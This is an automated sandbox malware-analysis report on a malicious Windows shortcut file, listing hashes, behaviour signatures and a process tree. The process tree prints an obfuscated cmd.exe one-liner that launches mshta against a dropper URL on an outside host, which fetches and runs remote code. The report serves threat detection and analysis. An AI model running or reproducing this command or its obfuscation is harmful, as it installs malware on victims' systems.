Analysis
- max time kernel
40s - max time network
26s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 16:44
Static task
static1
Behavioral task
behavioral1
Sample
DOC-EDLSXH.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-EDLSXH.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-EDLSXH.lnk
- Size 1KB
- Sample260803-t8vtescc94
- SHA256 07d1650d62e1bab730dd4d8e45ffb68c5ef021aa8eb9e01c9006d0604ecb983a
- MD5 9e7adbf1ee4d87b0b2ccfbf8278d2bb5
- SHA1 05b44406100c183ff3ce82a8279db3dbd137fe4a
- SHA512 b414852fee02f75938d63b8d59deb6fcf6c57dc0718213323b31a950c659cd15a5b6186356471bc6ce81cc78bb842ec9eedb700602443eda9d48c2960183d43d
- TLSH T166317B503FFD0624F3F38F7794BB672489BBB8AA8E20CA6E0141454C5032A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5268 cmd.exe 3324 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5268 wrote to memory of 3324 5268 cmd.exe 90 PID 3324 wrote to memory of 3304 3324 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-EDLSXH.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5268 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set Ue=msh&&set jfw=ta&&start "" !Ue!!jfw! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3324 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3304
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